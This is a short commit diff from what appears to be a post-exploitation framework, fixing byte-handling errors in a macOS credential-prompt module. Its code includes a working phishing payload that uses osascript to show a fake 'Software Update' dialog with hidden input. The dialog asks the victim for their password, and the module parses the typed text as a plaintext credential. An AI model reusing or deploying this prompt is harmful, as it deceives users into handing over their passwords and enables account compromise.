fixed osx/prompt byte errors
Cx01N
3 years ago
456 | 456 |
|
457 | 457 |
# python/collection/prompt (Mac OS)
|
458 | 458 |
elif b"text returned:" in parts[0]:
|
459 | |
parts2 = parts[0].split("text returned:")
|
|
459 |
parts2 = parts[0].split(b"text returned:")
|
460 | 460 |
if len(parts2) >= 2:
|
461 | 461 |
password = parts2[-1]
|
462 | 462 |
return [("plaintext", "", "", password, "", "")]
|
108 | 108 |
# osascript prompt for the current application with System Preferences icon
|
109 | 109 |
script = """
|
110 | 110 |
import os
|
111 | |
print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read())
|
|
111 |
print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read())
|
112 | 112 |
"""
|
113 | 113 |
|
114 | 114 |
else:
|